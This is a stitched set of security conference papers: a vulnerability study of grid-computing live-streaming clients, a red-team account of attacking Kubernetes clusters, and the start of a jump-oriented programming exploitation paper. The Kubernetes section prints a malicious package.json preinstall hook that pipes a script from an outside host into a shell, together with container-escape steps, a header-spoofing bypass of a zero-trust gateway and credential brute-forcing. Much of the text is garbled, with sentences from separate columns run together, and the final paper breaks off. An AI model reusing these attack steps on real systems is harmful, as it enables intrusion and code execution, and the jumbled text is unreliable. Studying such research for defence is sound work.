## ABSTRACT

#### INTRODUCTION

caused by covid-19, groups such as and parallel computing, a technology academies and companies are using a lot that allows multiple users' computers of Live-Streaming services for non-face connect to a network to be used like -to-face events, classes, and meetings. a single supercomputer. Using this As a result, traffic for streaming services technology, some Live-Streaming services is increasing rapidly, and because ISPs (Internet Service Providers) have to pay network usage costs in proportion to the a server resource. amount of network usage under Korean law, streaming platform providers pay a lot of money due to the increasing amount of traffic. For this reason, most of streaming platforms in Korea provide services using grid computing technology to relieve the economic burden. Grid computing technology, which is a method of sharing internal resources between users, exchanges data between general users, so if security management is not thoroughly carried out, there is a possibility of being vulnerable in security. Also, since it can attack multiple PCs at once, its security is important. However, there is no research pointing out the security of the system using the grid computing so far. Therefore, in this paper, we will deal with the security risks of grid-based streaming services among Live-Streaming services.

#### BACKGROUND

#### Live-Streaming Service

Live-Streaming service is generally called video sharing platform, and in the early days of their appearance, anyone who want to use streaming service can transmitted private contents through video sharing platform, but these days, public broadcasting, politicians, entertainers, etc. are also using those platforms a lot.

#### Grid Computing

Recently, due to the social distancing Grid Computing is a type of distributed in South Korea use distributed computing technology that utilizes each client's PC as

#### **Grid-Executable**

Grid Computing requires an executable file that sends, receives, and processes data with other clients or servers in addition to browser to watch broadcasts. In this paper, Grid-Executable is an executable file for Live-Streaming service.

#### Grid Computing and Live-Streaming Service

Live-Streaming services select data transmitters and transmit video data. Selected transmitters send video data to another client. The service is provided by sending and receiving video data from the Grid-Executable and passing it to the browser and application to send the video. This way of Grid Computing communication is used on Live-Streaming service in South Korea and some corporations of China.

#### THE RISKS OF GRID COMPUTING

Its communication speed is important because the Live-Streaming Service broadcasts in real time for ensuring this speed, it omits the authentication or encryption of complex processes and focuses only on optimal data processing functions. This paper aims to present attack surfaces in those services.

Platform Section	Company A	Company B	Company C
Packet Encryption	Х	X	Х
Using Grid-Executable	0	0	0
Grid Structure	Tree	Tree	Mesh

#### Table 1. Comparison Table of Live-streaming services using grid computing

#### Unencrypted Packets

Most platforms do not encrypt packets (See Table. 1). This cause security vulnerabilities because attacker can arbitrarily tamper with video data or data protocol headers and transmit them to the receivers. In addition, Unauthorized client can steal private video data.

#### Receiver's data processing issue

Grid-Executable of these services is used in the process of sending and receiving video data. Thus, if an attacker sends video data, vulnerabilities such as memory corruption inside the Grid-Executable can lead to arbitrary code execution attacks.

#### Structure of Grid Computing

In Live-Streaming service, grid computing technology is implemented in tree structure or mesh structure.

#### Tree-based Structure

Grid computing technology of tree-based structure is a method in which the user receives video data from the parent node and then forwards it to the child node. Data is unilaterally transferred from the parent node to the child node. (See Fig. 1)

At this time, if a malicious user on the position of the parent node transfers mutated data, all of the child node of that

receives mutated data. Moreover, it is easy to modulate data and control flow because it receives data from one user, which can be efficiently acted on attacks.

#### Mesh-based Structure

Grid computing technology of mesh-based structure is a method in which video data is sent and received between different clients connected to the same group. It is distinct from tree-based structure with hierarchies that unilaterally transmit data from one side. (See Fig. 2)



Fig 1. Tree-based Grid Computing Structure

Therefore, mesh-based structure can reduce the risk derived from tree-based structure.

However, there is still a possibility of attacks on clients within the same group through data modulation.



Fig 2. Mesh-based Grid Computing Structure

#### ATTACK SURFACE

As a result of the initial analysis, all three Live-Streaming services each have three binary files include Grid-Executable on the client side. These files are as shown in Fig. 3 and operate like following structure. Manager.exe is in charge of starting and managing the overall process. When clients start watching a Live-Streaming, Manager.exe executes Updater.exe. Then, it checks the version of other binary files and then performs an update process if necessary (if newest version is). After that, Updater.exe executes the Streamer. exe so that it is ready to send/receive video data.

The detailed operation of Streamer.exe is shown in Fig. 3.





First, the client transmits CPU speed, RAM availability, and network traffic to the main server, and the main server transmits the IP and port number of another client to connect. The client transmits and receives video data through socket communication through the corresponding IP and port number. Although grid computing protocols are different for each of the three companies, it generally proceeds in three steps as follows:

- 1. Prove that the client is an authorized user by sending initial data.
- 2. Send a short request packet.
- 3. Transmit the corresponding video data. In the above structure, as shown in Fig. 4, five attack surfaces (Main Server, Update Server, Init data, Request data, Video data) were selected to diagnose the vulnerability.



Fig 4. Attack Surfaces

#### **VULNERABILITY CONSEQUENCES**

The result of vulnerability diagnose is shown in Table 2. In this section, we explain the details of these vulnerabilities.

Platform Attack Surfaces	Company A	Company B	Company C
Main Server	Х	Х	0
Update Server	0	Х	Х
Initial Data	0	0	0
Request Data	_	Х	0
Video Data	0	0	0

Table 2. Summary of vulnerabilities in Live- Streaming services

(O: discovered, X : Un- discovered, - : Not Applicable)

# server

#### Private IP Exposure

This vulnerability is information leak on Company C. Main server sends client's public IP and private IP. Private IP is not necessary for client connection. And it is possible to identify people who are watching the same broadcast through public and private IP, so it can be private information leak. In fact, we could get a total of 70 IP information in 2 hours from a Heap Based Buffer Overflow due to broadcast with about 2000 viewers.

# server

#### Remote code execution as root via update file tampering

In the case of Company A, there are no verification routine before file execution as seen, so we can tamper the update file by DNS spoofing and remote code execution at root privilege.

#### Prevented by Digital Signature Check

In Company C, we can tamper the update file to older version of it, because previous version file is also using valid file signature. If there are some vulnerabilities in older version file, this vulnerability will be useful.

# Initial data

#### Video Stealing with Initial Data

In the case of Company A, the initial data is the video data is received. In this process, we noted that there is no authentication client is normal user for service at the process that can specify users other than the initial data. We found vulnerability that when the length header of the ticket is

Network communication with the main allow an attacker who is not participating in that channel to send initial data to the client in that channel, forcing the data to be hijacked.

> This is meaningful in that unauthorized data such as private broadcasts, broadcasts for adults, and paid lecture broadcasts that are not disclosed to people can also be captured. It can also lead to personal information leakage in that it can collect certain people's Watch History.

# Data Length Modulation of Initial Data

Network communication with the update In the Company B, we could find Heap Overflow due to data length modulation. The response data for the initial data included the data length value. If the attacker receives the initial data from the victim and modulates the length value when responding, there is no routine for checking the length value, so it is entered as an argument of the memmov() function, and the Heap Buffer Overflow occurs.

#### Video Stealing with Initial Data

There is a same vulnerability on Company A. In the case of Company B, data needs to be sent three times to be authenticated and data stolen. It initially transmits the channel ID given to the broadcast channel. It then receives the first sequence and the last Network communication with the Client: sequence from the receiving client. If we send the sequence in between, we could receive the video data from that sequence.

#### Denial of Service

sent after P2P connection at usual case and In the case of Company C, the ticket information is transmitted to check the beginning of the connection. At this time,

tampered, it is larger than the length defined in the ticket-related structure and proceeds to a different branch statement. Afterwards, that process was terminated with an error message, which allowed a Denial of Service attack.

#### Network Communication with the Client: Request Data

#### Denial of Service

In Company C, when client receives request packet, Streamer.exe parses the packet. First of all, it parses the 1-byte data which is the number of requests. Usually, the value of this field is one. Then it parses these 4-byte data which is video sequence number. However, if we alter the Request number field, it overreads the packet and the process terminate with the error message.

#### Network Communication with the Client: Video Data

#### Heap Based Buffer Overflow

In Company A, as a result of protocol analysis, there is a 16-byte header containing the data length in all video data. At this time, if the length value is altered and transmitted to clients, there is no routine for checking the length value, and a heap overflow occurs in the memcpy() function. This vulnerability occurs in both Mac, Windows, and iOS.

#### Pirate Broadcasting by modulation of video data

In Company A, there was a vulnerability that could remotely change video of other clients. It is caused by weak data integrity verification.

In usual case, client who want to watch Broadcast\_A can watch it because other client who is in higher hierarchy sends it (See Fig. 5).



Fig 5. Usual case watching broadcast

By hooking the send() and recv() function with Frida, the attacker could drop all the original video data and send the desired video data to change the video and sound of other clients. Since the attacker can relay Broadcast\_B, attacker can force the victim to watch any video attacker wants (See Fig. 6).



#### Denial of Service

Grid-Executable of Company B processes the video data received from other clients and sends it to the browser. When the dummy data with video data is sent, the receiving client sends it to the browser after processing the data. In this case, the video is stopped because there is a problem with the process of sending data to the browser.

#### Picture Distortion (1)

In Company B, attacker can distort the victim's screen. Thus, we could know that does not verify the integrity of the video data. Company B is using tree-based structure of grid computing. So, we think it can be expanded to Pirate Broadcasting like Company A.

#### Memory corruption via Sequence Number field modulation

In Company B, based on analyzing data protocol and binary file, the sequence number is assigned to the first 8 bytes except header 0x20 bytes in the data required for watching video. When the sequence number is processed, the value of signed long long type is used as an index through the % operation.

Some parts of the data can be tampered with by an attacker. Values used like indexes can be negative. This allows the process to gain access to unauthorized memory. An attacker could exploit this vulnerability to remotely terminate the victim's process.

This vulnerability is significant in that it is not difficult to carry out attacks and is capable of continuous performance.

#### Picture Distortion (2)

In Company C, attacker can distort the victim's screen. The screen can be tampered when the video data is sent after hooking at the WSASend() function using Frida. So, we could know that does not verify the integrity of the video data. But Company C only sends data about the requested data in mesh-based structure, so it will be hard to expand to Pirate Broadcasting.

#### CONCLUSION

In this paper, we studied the risk of Live-Streaming services using grid computing technology.

As a result, it presents three risks.

- 1. Data tampering is possible because packets exchanged between users are not encrypted.
- 2. The data received from the user is used as the input value of the Grid Executable without verification.
- 3. In the case of a service that uses a tree-based grid computing method, it is possible to simultaneously attack multiple users because the infection of one user affects all of the users below it.

Based on these three risks, this study derives five attack surfaces. In addition, through vulnerability verification, various vulnerabilities were derived, including personal information leakage such as private IP exposure, and critical 0-day vulnerability such as RCE through file alteration. This risk suggests that it can act like a network worm rather than attacking only one user.

Therefore, when using grid computing such as Live-Streaming service, we present two security measures.

- 1. In the process of establishing a connection between users, a step of verifying whether the user is authenticated by the server should be added.
- 2. The checksum value of the received video data should be checked through a request to the server.



# How do red teams attack Kubernetes in the real world?

Zebin Zhou & Yue Xu

# **RISE OF THE CLOUD NATIVE CONTAINERS**

With the rise of cloud computing and cloud-native technologies, when companies choose cloud products from cloud computing platforms, they will also tend to build cloud-native applications on top of the cloud-native infrastructure. Fewer developers are using VMs and VPSs directly and choose the cloud products and cloud services with Kubernetes, Docker, Container, and Serverless instead: at the same time, the number of attacks against containers, Docker, Kubernetes is also showing an upward trend. One of the most obvious is that more and more botnets are also eyeing the battlefield of container

and cloud-native. We have made a statistic, the purchase of cloud-native products by users has clearly shown an upward trend. Graboid, Cetus, H2Miner, Ngrok, Doki, 8220 Mining Group, T3llyz, BORG, and other genealogical botnets are also quickly focusing on cloud-native applications, including but not limited to deploying backdoors in Dockerhub's images, attacking Docker Daemon Remote API, Kubernetes APIServer insecure **API**, Kubernetes Kubelet insecure API, etc. More than above, the BORG will even be carried out lateral movement and persistent backdoor in Kubernetes. The security risks of Kubernetes applications are becoming more and more serious.

#### **NEW CHALLENGE FOR RED TEAM**

While the infrastructure used by enterprises In IDC, staff originally depended on PAM, is going to change, the red team's attack Jump Servers, and other devices that use skills and thinking must also be innovated. SSH capabilities to log in and manage the Red teams generally divide the start-point server. but now, different applications are of persistence into two categories:

- 1. the persistence in the production network
- 2. the persistence in the office network

the production network is to get a shell of a server host, and then we will collect the information on the host server, and use host alive detection, port scanning, service collection, and other methods to get more shell to achieve the purpose of controlling all servers or important and core servers.

And now, when enterprises build applications on the cloud-native Kubernetes, if the red team obtains the shell of the production network through application vulnerabilities, it is often not the same as an IDC server, you will get a shell in a container with a single environment and limited local resources and information.

At this time, if the red team does not understand the security design and implementation of cloud-native technology and container technology, it will be hard to go to next.

On the other hand, the method of getting an office network PC's control is similar to the traditional ATT&CK method, but the red team's lateral movement from PC to production network will be very different.

running in different containers and use Kubernetes for deployment, scaling, and management.

The administrators, developers, and operation and maintenance personnel of production network applications do not For traditional IDC, in general, the base of have server host permissions, but only container permissions of their application.

> Enterprises use multi-tenant container clusters to assign employees' permissions to the cluster under the namespace of their own application and provide kubeconfig corresponding to the application, namespace, and profile to the application administrator; configure PodSecurityPolicy to prevent the application administrator break out the rules.

The administrator no longer uses ssh for the operation, but through kubectl or secondary development tools (usually, it may be a dashboard with a web console).

Therefore, the target of the red team on the PC will be changed to the configuration file in the "/.kube/ directory, instead of the ssh login credentials and the credentials of the jumper server; of course, with the rise of DevOps technology, it will attack the internal DevOps platform of the enterprise. It is also a new type of attack technique under sudden change.

#### PRACTICAL ATTACK TECHNIQUES

Everything starts with the shell of a container. You can get the shell of the container of the PHP application through a vulnerability similar to PHPUnit Remote Code Execution (CVE-2017-9841).

In the default Kubernetes container network, you can access more things: ports of other POD containers, and ports of Kubernetes Services, ports of the current node and other slave nodes, the services of the Master node, and the component services of Kubernetes.

In the past, our goals were often the Agent Master server, SSH password database or IT automation master control server, and so on, including but not limited to SaltStack Master, Ansible Master, etc. But in the Kubernetes network, this kind of centralized power is unified into ApiServer. Obtains the Admin permission of the Apiserver or the ROOT permission of the Master node will announce the end of the war.

After entering the private Kubernetes network, the red team needs to figure out where they are, for example:

- 1. Which cluster is the current container in?
- 2. Which Namespace is the current container in?
- 3. Which node is the current container in?

The first two questions, if you understand the service DNS design in the Kubernetes container network, will certainly not be difficult for you. Here are two simple examples of Kubernetes Service DNS records.



What are the actual actions of DNS requests in a Kubernetes container? If you use nslookup (in busybox image) to request a service name that does not exist in the current Kubernetes namespace (assuming the default namespace: default).

For example, service\_inexistence. nslookup will request in turn as below:

- service\_inexistence.cluster.local
- service\_inexistence.svc.cluster.local
- service\_inexistence.svc.cluster.local
- service\_inexistence.default.svc. cluster.local

#### Cluster Domain (-cluster-domain)

- service\_inexistence.cluster.local
- service\_inexistence.default.svc. cluster.local

The reason is that Kubernetes will be mounted into the container with writing search default.svc.cluster.local svc.cluster.local cluster.local in /etc/resolv.conf file to ensure that the domain DNS resolution of the container can be addressed normally. Because of this, you can get the namespace name and cluster domain easily. Then how does the red team get the IP of the current node where the container is located?

This information is very important. On this point, you can check the container's arp table by cat /proc/net/arp. If you are lucky, you can easily get the IP and Mac address of the NODE. Container escape is that the red team will inevitably try after getting a container's shell. To better understand the method of container escape, you should know that the process in the container is essentially just a restricted ordinary Linux process. All the behaviours of the process inside the container are transparent to the host.

Therefore, the nature of container escape is very different from hardware virtualization VM escape (excluding Kata Containers, etc.). In my understanding, the process of container escape is that a restricted process obtains unrestricted full permissions, or getting more privileges for a process originally restricted by Cgroup/Namespace permissions, it is closer to the privilege escalation in the Linux host.



The common escape techniques are as follows:

- 1. Docker Components Vulnerability
- Docker runc (CVE-2019-5736)
- Docker cp (CVE-2019-13139)
- 2. Linux Kernel Vulnerability
- DirtyCow (CVE-2016-5159)
- 3. Mounted File
- /docker.sock (docker daemon)
- /containerd.sock (containerd daemon)
- /proc, /etc, /root ...

- /var/run/secrets/kubernetes.io/serviceaccount/token
- 4. Shared Linux Namespace & Capabilities
- Privileged Containers
- Exploit shim(CVE-2020-15257) with net=host
- Process Injection with CAP\_SYS\_PTRACE AND HOSTPID
- Rewrite Cgroup with CAP\_SYS\_ADMIN

If the target is set to obtain read and write permissions for files on the host (everything is a file on Linux), the idea of escape will be more flexible. There is an escape method for Privileged containers and containers with CAP\_SYS\_ADMIN Capabilities, which is similar to the method of executing commands on the host using cgroup release\_agent, but most EDRs can not detect.

The principle is that the red team creates a new cgroup of device subsystem in the current container and rewrites the "devices.allow" file of cgroup in the current container to "a". At this time, we have access to the host's block devices and can read and write any file of the host. (Now, you can refer to https://github.com/cdk-team/CDK/blob/main/ pkg/exploit/rewrite\_cgroup\_devices.go for more information on this method.)

root@b76c0b53a	9b8:/tmp/0	dev/doc	ker# 1	s				
075731ee61b58ce	e6d8a287	505fdb0	d11564	2115376	i34e651546de	cle5ef4	1392	b3ea8b
08aaee430f69df2	21728367d	lae2a78	fb09d1	6fe573e	cc41a87b6be	7972578	3b96	b5f857
09c6494300bflea	a71f3fa214	43e870d	72cf3c	f4dc550	27436366000	1478c224	led4	b76c0b
17c3dcc8aeddf6d	7e5b546f6	96af492	5f77c5	fd1d85e	61985d808de	29685c5	5680	c163f7
2cdd085be4297d	2e89958a1	f4be542	7e853b	008a107	97eaab15197	f944a2b	abb	c254a3
31f7ead916e0ac4	151857ffa	4c50fcb	9abcee	a28ef21	adae1a39056	6d88407	7860	cfd077
461d52a5fc14909	aa762dc43	38b9bf5	f945d9	8eb8310	4ffed79b2c3	0e18caa	695	cgroup
47d49e3f2fee0ad	caa84c26aa	afd06c0	96da1f	8c3ddae	eZaf8826af2	72d1973	33bd	cgroup
50dbf0cca9c581	1847010f84	4e40dbb	fe4d27	f015dc4	de0b02b8d29	759ca46	5762	cgroup
51dd205366ba45d	1d07d415	57ea60a	795adf	2feb7ca	412b735e8a7	49b4ad5	5bf5	d529d0
5cadfde9e653a07	e42cda451	f32cfb2	6e6024	bc7c38d	:6731ef774fa	e48f52e	ea4d	d8a0c1
77442f2301b1fde	elfaf4e997	79beaf4	749a79	42cdce1	7b20003a0e7	101df49	90ab	device
7a2e9d7d814281	ea2bed565	ca61f51	810c67	001ecf3	cfb460aa298	37ed296	iba1	device
7a6a39c1934e073	c125ecaf	6458cd7	cbdb2a	fec5379	b7b10716cb8	57b990a	e2b	device
9df9278580c5fc3	365cb5b5e	e9430ac	c846cf	6e3207d	if1b02b9e35d	lec85e86	ic36	fad474
9eaec03a7a3e9a2	20838fb801	f35c1d2	64c2d7	ef@lect	8d28af7d2d7	d9a4e10	ie24	notify
a43c0b1d3f63de9	6a872825	66 <b>f901</b> a	a0fc9a	6cfe0ca	91956acff67	08b420e	ed66	tasks
aa0dbca70315505	500c4f9601	fd713a7	ce9a57	5b902cb	fbb8c59c0ce	4ae8c2d	1121	
root@b76c0b53a9	9b8:/tmp/0	dev/doc	ker# c	d b76c0	b53a9b8fb84	78f6805	503164	b37eb2
root@b76c0b53a	9b8:/tmp/0	dev/doc	ker/b7	6c0b53a	9b8fb8478f6	8050316	54b37e	b27c28
cgroup.clone_ch	nildren (	cgroup.	event_	control	cgroup.pr	ocs de	vices	.allow
root@b76c0b53a	9b8:/tmp/0	dev/doc	:ker/b7	6c0b53a	9b8fb8478f6	8050316	54b37e	b27c28
root@b76c0b53a	9b8:/tmp/0	dev/doc	ker/b7	6c0b53a	9b8fb8478f6	8050316	64b37e	b27c28
root@b76c0b53a	9b8:/# mkr	nod nea	ir b 25	21				
root@b76c0b53a	9b8:/# del	bugfs -	w near					
debugfs 1.42.13	3 (17-May-	-2015)						
debugfs: ls -	l /etc/kul	bernete	s					
1317971 4075	55 (2)	0	0	4096	13-Sep-2020	12:53		
4339 4075	5 (2)	0	0	12288 2	28-Jan-2021	04:35 .		
1317972 4075	55 (2)	0	0	4096	13-Sep-2020	12:54	addor	IS
1457110 4075	55 (2)	0	0	4096	13-Sep-2020	12:53	manif	ests
1317937 10060	80 (1)	0	0	5495	13-Sep-2020	12:53	admin	.conf
1317964 10060	00 (1)	0	0	1895	13-Sep-2020	12:54	kubel	et.com
1317969 10060	00 (1)	0	0		13-Sep-2020			
1317970 10060	00 (1)	0	0	5479	13-Sep-2020	12:53	sched	uler.c
_								
debugfs:								



image shows that in the default design under normal circumstances, they will all differently from the traditional IDC private the target cluster is using istio? networks after you get a shell.

But not all containers allow us to escape. in the Kubernetes network, if you initiate Focusing on the default design of port scanning and detection from inside Kubernetes can also help the red teams the container, the scan results of all ports achieve more results in the Kubernetes, will return open for masscan, and for the especially the network. The following commonly used Nmap scanning options of Kubernetes, you can access things return "filtered". So how to detect whether



The IP of POD and Service are allocated The easiest and most effective method based on the podSubnet and serviceSubnet is that you can initiate a request to an settings of the Kubernetes administrator. HTTP 80 service on the public network in We can scan the ports of containers based the container. For example, execute the on this information.

In terms of detection, although in the traditional IDC intranet confrontation, a large-scale port scan will easily trigger the detection logic of EDR. Some EDRs do not adapt to the tunnel or CNI plugins that come with the container network, which makes EDR unable to detect scanning behaviours between containers to containers, and containers to nodes.

For the red team, it is necessary to determine whether the current container network is using service meth. Because if istio is used

command as `curl -i http://httpbin.org/get`, and istio will inject header contains envoy and istio into this request. The header can be easily seen.

About scanning, whether your container shell is in istio or not, it is a good choice to use the Nmap parameter like `-p 17 -iL all\_ip\_in\_Kubernetes.txt -sO -Pn` on the intranet to perform ICMP scanning to determine whether the container and the host are alive. Of course, the premise is You have to first think about whether the use of tools and scanning behaviour will be discovered by EDR.

In the port scan results, the following ports are often focused on by the red team: once the kube-apiserver is not authenticated or the admin's kubeconfig is obtained, it will be a risk of harming the entire cluster.

Even if the obtained kubeconfig is not an admin, it is worthy of the red team's attention. The kubectl proxy subcommand and kubelet's 10255 read-only-port are security issues that are easily overlooked by cluster administrators under the default design of Kubernetes.

- 1. kube-apiserver: 6443, 8080
- 2. kubectl proxy: 8080, 8081
- 3. kubelet: 10250, 10255
- 4. dashboard: 30000

In addition to the components used by Kubernetes by default as above, the open-source components commonly used in container applications should also attract our attention. For example: "API Gateway". The most commonly used Cloud-Native API Gateway: Kong.

The version of the open-source branch does not include authentication capabilities. In general, administrators will use a private network to ensure the security of the Kong Admin API, so we can easily control it after entering the intranet. APISIXs with the second market share, it's Admin API is also open to the public world.

Although there is an access key-based authentication capability, it has a default access key that is often not modified; with this access key, it can even be used directly. Run the Lua script to get the shell of the API Gateway service container. The API gateway manages the north-south traffic of the cloud-native cluster, which is very helpful in understanding the role of the cluster.

#### **REAL-WORLD RED TEAM ATTACK CASE**

Okay, then we will share a real-world CASE in 2020, which involves a lot of cloud-native and container-related knowledge. This time our goal is a company engaged in the financial industry. All of their online applications and office applications are running on Kubernetes. They hope to assess their overall security risk convergence results from the public network to the private network. It is not aimed at employees, not using phishing, but using vulnerabilities to obtain their cluster permissions without any interaction with employees.

We found that they built a self-developed zero-trust system based on the concept of zerotrust, so that employees can work normally at home and on their mobile phones. This is our first breakthrough. After investigation, we found that all the intranet domains of the target company are in the subdomain of innerxxxx.com, and some private domains can also be parsed normally on the external network. They are all a cname record, pointing to a gateway (ztgateway.innerxxx.com) in the public network.

- 5. docker api: 2375
- 6. etcd: 2379, 2380
- 7. kubeflow-dashboard: 8080

Just like below:

;; ANSWER SECTION:				
git.innerxxx.com.	600 IN	CNAME	<pre>ztgateway.innerxxx.com.</pre>	
dev.innerxxx.com.	600 IN	CNAME	<pre>ztgateway.innerxxx.com.</pre>	
hr.innerxxx.com.	600 IN	CNAME	<pre>ztgateway.innerxxx.com.</pre>	
www.innerxxx.com.	600 IN	CNAME	<pre>ztgateway.innerxxx.com.</pre>	
bot.innerxxx.com.	600 IN	CNAME	<pre>ztgateway.innerxxx.com.</pre>	

But if the red team directly accesses the intranet office domain name from the public network, it will return 403, as shown below:



employee wants to access the OA website FORWARDED-FOR, normally, two things are required; one is REMOTE-ADDR, and other header values the client accessing the intranet, and the to different private IP addresses. In the other is the session token indicating the end, I found that when the HTTP request employee's identity in the request.

Regarding employee identity, we obtained the AD Credential of some employees through brute force cracking of Microsoft-Server-ActiveSync exposed on the public network but we were unable to obtain the employee's client program for a long time.

However, when we learned that the client program played a similar part as a VPN, we began to analyze the possible security issues in this design. Imagine that, ztgateway.innerxxx.co is open on the public network. What is its method of restricting the source of HTTP requests? Will this type of restriction be converted from inaccessibility at the network layer to code implementation at the application layer?

So, I tried to fuzz the HTTP request we sent this container. to ztgateway.innerxxx.co, and set CLIENT-

If an HTTP request from a target company IP, X-FORWARDED-FOR, X-FORWARDED, FORWARDED. sent to the Zero Trust Gateway carries the X-FORWARDED-FOR HTTP header and the value is a private network IP starting with 10. We then can access the OA login page. Coupled with the employee identity we got in Microsoft-Server-ActiveSync, we successfully have access to the enterprise automated office network.

> The office network is a new world. After a long period of exploration, we finally found a new breakthrough in the serverless web service (serverless.innerxxx.co). When a new git project is provided to link to serverless web services, serverless will have a public container to download the project code, install dependencies, and repackage it. This is a very imaginative feature for the red team. We found that there are several ways to get the shell of

1. Command injection attack when git clone downloads code.



2. When installing node is dependent packages, construct a special package. ison to control the public container using methods such as preinstall.

```
neargle@marcy:~/evil (*) > ls
README.md backend public src file.js node_modules package.json
neargle@marcy:~/evil (*) > cat package.json
   "name": "t-force",
   "version": "1.0.0",
   "description": "",
   "main": "server.js",
   "scripts": {
     "test": "echo \"Error: no test specified\" && exit 1"
   },
   "preinstall": "sh -c 'curl https://c.neargle.com/code | sh'",
   "devDependencies": {
     "watchify": "^3.6.1"...
```

3. Configure the pip requirements.txt pointing to the malicious third-party package, and use the malicious pip package to get a shell of the dependent packaging container.

In addition, there are commands executed like git clone, git submodule update, go get are executed by using programs such as git client and go client of low versions, such as CVE-2018-6574, CVE-2019-19604, and so on. All in all, we got the root shell of this public container and found that this container contains CAP\_SYS\_ADMIN capabilities. There are two escape methods suitable for this type of container.

Now you can use our open-source tool CDK (https://github.com/cdk-team/CDK/) to easily detect and escape such containers. Use cdk evaluate to detect capabilities and use cdk run rewrite-cgroup- devices or cdk run mount-cgroup "<shell-cmd>" subcommand for escape the container.

Now we have the node shell for the public container, great! We know that all agents that act on and serve containers should run on the host or sidecar container.



"DaemonSet" containers with privileged; we did find a lot of self-developed agents on this host. So, we found one interesting agent named cri\_webconsole\_agent, and got his binary program, startup parameters and configuration files. The program is written in golang, and we know that this agent program is to support web console capabilities.

How do corporate employees manage their containers? It is through this web console that you can call bash in the container to execute commands in the web console. The agent will listen to port 3333. The following HTTP request can create a session of the docker exec subcommand. In the end, the agent actually calls the local unix:///var/run/ docker.sock exec function.



But how should we get all the container IDs with 64 lengths on each server? This is obviously impossible. But the man who has used the Docker container knows that we can replace the entire container ID with 64 lengths by using the first few digits of the container ID. In unix:///var/run/docker.sock, it is also supported. If there are only two containers running on the host like below:

- 1. cd2cb750d3fadf31c18e04f09d168f89b53bbe39bc4488cda90f3632448e3cb8 status: Up 4 months
- 2. cdd085be4297dc2e89958af4be5427e853b008a10797eaab15197f944a2babb1 status: Exited (0) 2 days ago

The behavior of unix:///var/run/docker.sock will like below:

- 1. Request /v1.24/containers/cd/exec and return "container id multiple";
- 2. Request /v1.24/containers/ca/exec and return "container id not found";
- 3. Request /v1.24/containers/cdd/exec and return "container not starting".

Therefore, we can use the Docker short-id feature to fuzz all container short-id on all hosts. We can get the shells of all containers on all node servers, so, we focus on another agent. It is an agent that collects logs. It runs on all Kubernetes node servers and uses DaemonSet to deploy. It uses a Kubernetes DaemonSet YAML file similar to the following image.

This is almost the default setting in filebeat-daemonset.yaml. Many escape tricks that may work here. It is both privileged and mounts the root directory to the container. Obviously, we only need to use the above cri\_webconsole\_agent 3333 port to control the container started by this DaemonSet to obtain the ROOT permission of any node server, and this

apiVersion: apps/v1 kind: DaemonSet metadata: name: filebeat-logsystem spec: template: spec: hostNetwork: true dnsPolicy: ClusterFirstWithHostNet containers: - name: filebeat args: [ "-c", "/etc/filebeat.yml", "-e", securityContext: runAsUser: 0 privileged: true volumeMounts: - name: logpath mountPath: /hostfs/ volumes: - name: logpath

DaemonSet ensures that all Kubernetes Nodes run a copy of a Pod, all nodes of this cluster are in our grasp.

Obviously, if there is a tool that can help red teams do the above work, then our penetration testing will progress more smoothly; this is also the reason why we developed CDK (https://github.com/cdk-team/CDK); CDK-Zero Dependency Container Penetration Toolkit, it is a CLI tool which allows you to:

- 1. Evaluate weakness in containers or Kubernetes pods.
- 2. Exploit multiple container vulnerabilities.
- 3. Perform common container post-exploitation actions.
- 4. Provide capability when host-based tools are not available in the container.
- 5. Perform the above in a manual or automated approach.

Hope the skills, experience, and tools we share can help you.







Bramwell Brizendine, Austin Babcock, and Andrew Kramer

Jump-oriented Programming (JOP) is an advanced, little studied form of code-reuse attacks, very different from Return-oriented Programming (ROP). Little work has been done with JOP apropos of practical, real-world usage. In this paper, we introduce a methodology of advanced manual techniques for performing JOP in a modern Windows environment, including novel, manual techniques to allow JOP to be more effective in realworld usage. This research culminates in JOP moving from the theoretical, to being more useful and relevant. This work provides a refinement and expansion of viable dispatcher gadgets, including a novel two-gadget dispatcher form, helping provide much needed flexibility to control flow mechanisms for JOP. We also provide a novel contribution with the JOP ROCKET, which allows for the automatic JOP chain construction, to produce complete JOP chains to bypass DEP, utilizing an novel variation on JOP, involving a series of stack pivots.

Keywords: Jump-oriented Programming, Return-oriented Programming, Codereuse Attacks, Software Exploitation, Reverse Engineering, Cyber Operations

# ABSTRACT

#### INTRODUCTION

Return-oriented Programming (ROP) has ROCKET [6–8] in 2019. been the predominant code-reuse attack, since its formal introduction to the academic literature in 2007 [1]. In fact, ROP has become so omnipresent and ubiquitous, that one might mistakenly think it is the only code-reuse attack available. As we look at exploits, we can find hundreds of ROP examples at Exploit Database, yet there are just a few [2–4] publicly available in the wild that intermix a substantial amount of JOP, and none that include complete JOP chains.

We can categorize Jump-oriented Programming as a state-of-the-art form of code-reuse attacks, able to completely abandon the usage of ret instructions, while avoiding the use of the stack for control flow purposes, although we do use it to set up WinAPI functions. JOP is a seismic shift to a very different style of code-reuse attacks from ROP. While some varieties of JOP can be intermixed with ROP, JOP also stand on its own, fully separate from ROP.

There were even claims as recent as 2015 that JOP had never been done in the wild [5], and since then it has only ever been rarely done. In fact, there was no public demonstration of a complete JOP chain until our presentation at DEF CON 27 in Las Vegas 2019, where we used only JOP to bypass DEP. Since then, outside of JOP exploits being written in an Advanced Software Exploitation course taught by one of the authors, we are not aware of other complete JOP chains.

This research hopes to change that, as we have made a number of significant contributions since the release of the JOP

While JOP has been written about in the academic literature for over a little over a decade, it has languished, mostly forgotten, with only some varieties of JOP used to intermix with ROP. This is hardly surprising, given the previous absence of tools to facilitate JOP gadget discovery and use, and the nearly complete lack of documentation on practical details of performing JOP.

The need for dedicated JOP tools led to the JOP ROCKET, aa mature tool for discovery and classification of JOP gadgets, allowing users to find gadgets and construct a JOP chain from scratch, assuming sufficient gadgets. JOP ROCKET is also the first utility to find dispatcher gadgets, which are required to do an exploit entirely without the use of ROP. With dispatcher gadgets and JOP gadgets, we can entirely avoid not only all ret instructions, but also the use of the stack for control flow purposes.

In late 2020, we added support for automatic JOP chain construction, to create a complete JOP chain to bypass DEP using VirtualProtect or VirtualAlloc. The automated JOP chain involves a novel JOP technique requiring fewer gadgets, offering simpler usage. In April 2021, we also extended the JOP ROCKET, introducing a two-gadget dispatcher, allowing for a single gadget that was relatively obscure to be found more easily, and thus make ability to use a complete JOP chain more likely.

This paper's organization will be as follows. First, we will introduce JOP, providing a background on this form of code-reuse

